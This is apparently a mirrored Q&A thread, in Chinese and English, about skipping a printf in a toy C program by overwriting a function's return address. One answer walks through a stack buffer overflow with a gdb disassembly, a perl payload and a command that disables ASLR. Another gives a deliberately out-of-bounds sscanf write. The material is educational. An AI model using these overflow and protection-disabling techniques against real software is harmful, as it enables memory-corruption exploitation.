C代码如何更改代码中的返回地址?

发布于 2024-10-29 16:31:04 字数 632 浏览 7 评论 0原文

我刚刚编写了如下 C 代码:

#include<stdio.h>
#include<string.h>


void func(char *str)
{
        char buffer[24];
        int *ret;
        strcpy(buffer,str);
}

int main(int argc,char **argv)
{
        int x;
        x=0;
        func(argv[1]);
        x=1;
        printf("\nx is 1\n");
        printf("\nx is 0\n\n");
}

请建议我如何跳过 printf("\nx is 1\n"); 行。早些时候我得到的线索是修改ret变量,它是函数func的返回地址。

您能否建议我如何更改上述程序中的返回地址,以便跳过 printf("\nx is 1\n");

我发布这个问题是因为我不知道如何更改退货地址。

如果你能帮我的话那就太好了。

谢谢

I just wrote a C Code which is below :

#include<stdio.h>
#include<string.h>


void func(char *str)
{
        char buffer[24];
        int *ret;
        strcpy(buffer,str);
}

int main(int argc,char **argv)
{
        int x;
        x=0;
        func(argv[1]);
        x=1;
        printf("\nx is 1\n");
        printf("\nx is 0\n\n");
}

Can please suggest me as to how to skip the line printf("\nx is 1\n");. Earlier the clue which I got was to modify ret variable which is the return address of the function func.

Can you suggest me as to how to change the return address in the above program so that printf("\nx is 1\n"); is skipped.

I have posted this question because I don't know how to change the return address.

It would be great if you help me out.

Thanks

如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

扫码二维码加入Web技术交流群

发布评论

需要 登录 才能够评论, 你可以免费 注册 一个本站的账号。

评论(3

羁拥 2024-11-05 16:31:04

据我了解,您希望代码执行指令 x=1;,然后跳过下一个 printf,这样它只会打印 x is 0没有办法做到这一点。

但是,可以做的是让 func() 删除它自己的返回地址,这样代码就会直接跳转到 printf("\nx is 0\n\ n”);。这也意味着跳过x=1;

这是可能的,因为您将通过命令行传递的任何内容发送到 func() 并直接复制到固定大小的缓冲区。如果您尝试复制的字符串大于分配的缓冲区,您可能最终会破坏堆栈,并可能覆盖函数的返回地址。

关于这个主题,有一些很棒的书,比如 这本书,我建议您阅读他们。

gdb 上加载您的应用程序并反汇编 main 函数,您将看到与此类似的内容:

(gdb) disas main
Dump of assembler code for function main:
0x0804840e <main+0>:    lea    0x4(%esp),%ecx
0x08048412 <main+4>:    and    $0xfffffff0,%esp
0x08048415 <main+7>:    pushl  -0x4(%ecx)
0x08048418 <main+10>:   push   %ebp
0x08048419 <main+11>:   mov    %esp,%ebp
0x0804841b <main+13>:   push   %ecx
0x0804841c <main+14>:   sub    $0x24,%esp
0x0804841f <main+17>:   movl   $0x0,-0x8(%ebp)
0x08048426 <main+24>:   mov    0x4(%ecx),%eax
0x08048429 <main+27>:   add    $0x4,%eax
0x0804842c <main+30>:   mov    (%eax),%eax
0x0804842e <main+32>:   mov    %eax,(%esp)
0x08048431 <main+35>:   call   0x80483f4 <func>     // obvious call to func
0x08048436 <main+40>:   movl   $0x1,-0x8(%ebp)      // x = 1;
0x0804843d <main+47>:   movl   $0x8048520,(%esp)    // pushing "x is 1" to the stack
0x08048444 <main+54>:   call   0x804832c <puts@plt> // 1st printf call
0x08048449 <main+59>:   movl   $0x8048528,(%esp)    // pushing "x is 0" to the stack
0x08048450 <main+66>:   call   0x804832c <puts@plt> // 2nd printf call
0x08048455 <main+71>:   add    $0x24,%esp
0x08048458 <main+74>:   pop    %ecx
0x08048459 <main+75>:   pop    %ebp
0x0804845a <main+76>:   lea    -0x4(%ecx),%esp
0x0804845d <main+79>:   ret    
End of assembler dump.

重要的是您注意到第二个 printf 调用的准备工作从地址开始0x08048449。为了覆盖 func() 的原始返回地址并使其跳转到 0x08048449,您必须写入超出 char 缓冲区的容量[24 ];。在此测试中,为了简单起见,我使用了 char buffer[6];。

gdb中,如果我执行:

run `perl -e 'print "123456AAAAAAAA"x1,"\x49\x84\x04\x08"'`

这将成功覆盖缓冲区并将返回地址替换为我希望它跳转到的地址:

Starting program: /home/karl/workspace/stack/fun `perl -e 'print "123456AAAAAAAA"x1,"\x49\x84\x04\x08"'`

x is 0


Program exited with code 011.
(gdb)

我不会解释每一步,因为其他人已经这样做了它已经好多了,但是如果您想直接从命令行重现此行为,您可以执行以下命令:

./fun `perl -e 'print "123456AAAAAAAA"x1,"\x49\x84\x04\x08"'`

请记住,gdb 向您报告的内存地址可能会有所不同比我得到的那些。

注意:要使此技术发挥作用,您必须首先禁用内核保护。但如果下面的命令报告任何与 0 不同的内容:

cat /proc/sys/kernel/randomize_va_space

要禁用它,您将需要超级用户访问权限:

echo 0 > /proc/sys/kernel/randomize_va_space

For what I understand, you want the code to execute the instruction x=1; and then jump over the next printf so it will only print x is 0. There's no way to do that.

However, what could be done is making func() erase it's own return address so the code would jump straight to printf("\nx is 0\n\n");. This means jumping over x=1; too.

This is only possible because you are sending to func() whatever is passed through the cmd-line and copying directly to a fixed size buffer. If the string you are trying to copy is bigger then the allocated buffer, you'll probably end up corrupting the stack, and potentially overwriting the function's return address.

There are great books like this one on the subject, and I recommend you to read them.

Loading your application on gdb and disassembling the main function, you'll see something similar to this:

(gdb) disas main
Dump of assembler code for function main:
0x0804840e <main+0>:    lea    0x4(%esp),%ecx
0x08048412 <main+4>:    and    $0xfffffff0,%esp
0x08048415 <main+7>:    pushl  -0x4(%ecx)
0x08048418 <main+10>:   push   %ebp
0x08048419 <main+11>:   mov    %esp,%ebp
0x0804841b <main+13>:   push   %ecx
0x0804841c <main+14>:   sub    $0x24,%esp
0x0804841f <main+17>:   movl   $0x0,-0x8(%ebp)
0x08048426 <main+24>:   mov    0x4(%ecx),%eax
0x08048429 <main+27>:   add    $0x4,%eax
0x0804842c <main+30>:   mov    (%eax),%eax
0x0804842e <main+32>:   mov    %eax,(%esp)
0x08048431 <main+35>:   call   0x80483f4 <func>     // obvious call to func
0x08048436 <main+40>:   movl   $0x1,-0x8(%ebp)      // x = 1;
0x0804843d <main+47>:   movl   $0x8048520,(%esp)    // pushing "x is 1" to the stack
0x08048444 <main+54>:   call   0x804832c <puts@plt> // 1st printf call
0x08048449 <main+59>:   movl   $0x8048528,(%esp)    // pushing "x is 0" to the stack
0x08048450 <main+66>:   call   0x804832c <puts@plt> // 2nd printf call
0x08048455 <main+71>:   add    $0x24,%esp
0x08048458 <main+74>:   pop    %ecx
0x08048459 <main+75>:   pop    %ebp
0x0804845a <main+76>:   lea    -0x4(%ecx),%esp
0x0804845d <main+79>:   ret    
End of assembler dump.

It's important that you notice that the preparation for the 2nd printf call starts at address 0x08048449. In order to override the original return address of func() and make it jump to 0x08048449, you'll have to write beyond the capacity of char buffer[24];. On this test I used char buffer[6]; for simplicity purposes.

While in gdb, if I execute:

run `perl -e 'print "123456AAAAAAAA"x1,"\x49\x84\x04\x08"'`

this will successfully override the buffer and replace the address of return with the address I want it to jump to:

Starting program: /home/karl/workspace/stack/fun `perl -e 'print "123456AAAAAAAA"x1,"\x49\x84\x04\x08"'`

x is 0


Program exited with code 011.
(gdb)

I will not explain every step of the way because others have done it so much better already, but if you want to reproduce this behavior directly from the cmd-line, you could execute the following:

./fun `perl -e 'print "123456AAAAAAAA"x1,"\x49\x84\x04\x08"'`

Keep in mind that the memory addresses that gdb reports to you will probably be different than the ones I got.

Note: for this technique to work you'll have to disable a kernel protection first. But just if the command below reports anything different from 0:

cat /proc/sys/kernel/randomize_va_space

to disable it you'll need superuser access:

echo 0 > /proc/sys/kernel/randomize_va_space
反话 2024-11-05 16:31:04

func 的返回地址位于堆栈上,靠近其局部变量(其中之一是 buffer)。如果你想覆盖返回地址,你必须写到数组的末尾(可能是 buffer[24...27] 但我可能错了 - 可能是 buffer[ 28...31] 甚至 buffer[24...31](如果您有 64 位系统)。我建议使用调试器来找出确切的地址。

顺便说一句,去掉 ret 变量 - 拥有它你什么也做不了,而且它可能会混淆你的计算。

请注意,这种“缓冲区溢出漏洞利用”有点难以调试,因为 strcpy 在遇到零字节时会停止复制内容,而您要写入堆栈的地址可能包含这样的字节。这样做会更容易:

void func(char *str)
{
    char buffer[24];
    sscanf(str, "%x", &buffer[24]); // replace the 24 by 28, 32 or whatever is right
}

并在命令行上以十六进制字符串形式给出地址。这使得您想要做的事情更加清晰,并且更容易调试。

The return address from func is on the Stack, right near its local variables (one of them is buffer). If you want to overwrite the return address, you have to write past the end of the array (possibly to buffer[24...27] but i am probably mistaken - could be buffer[28...31] or even buffer[24...31] if you have a 64-bit system). I suggest using a debugger to find out the exact addresses.

BTW get rid of the ret variable - you accomplish nothing by having it around, and it might confuse your calculations.

Note that this "buffer overrun exploit" is a bit hard to debug because strcpy stops copying stuff when it encounters a zero byte, and the address you want to write to the stack probably contains such a byte. It will be easier to do it like this:

void func(char *str)
{
    char buffer[24];
    sscanf(str, "%x", &buffer[24]); // replace the 24 by 28, 32 or whatever is right
}

And give the address on the command-line as a hexadecimal string. This makes it a bit more clear what you're trying to do, and easier to debug.

月下伊人醉 2024-11-05 16:31:04

这是不可能的 - 这是可能的,如果你知道编译器及其工作原理、生成的汇编代码、使用的库、体系结构、CPU、系统环境和明天的乐透号码 - 如果你有这个知识,你足够聪明,不去问。唯一有意义的情况是当有人尝试某种攻击,并且不期望有人愿意帮助您时。

This is not possible - it would be possible, if you know the compiler and how it works, the generated assembler code, the used libraries, the architecture, the cpu, the system environment and the lotto numbers of tomorrow - and if you had this knowledge, you would be clever enough not to ask. The only scenario where it would make sense is when someone tries some kind of attack, and do not expect that someone is willing to help you with it.

~没有更多了~
我们使用 Cookies 和其他技术来定制您的体验包括您的登录状态等。通过阅读我们的 隐私政策 了解更多相关信息。 单击 接受 或继续使用网站,即表示您同意使用 Cookies 和您的相关数据。
原文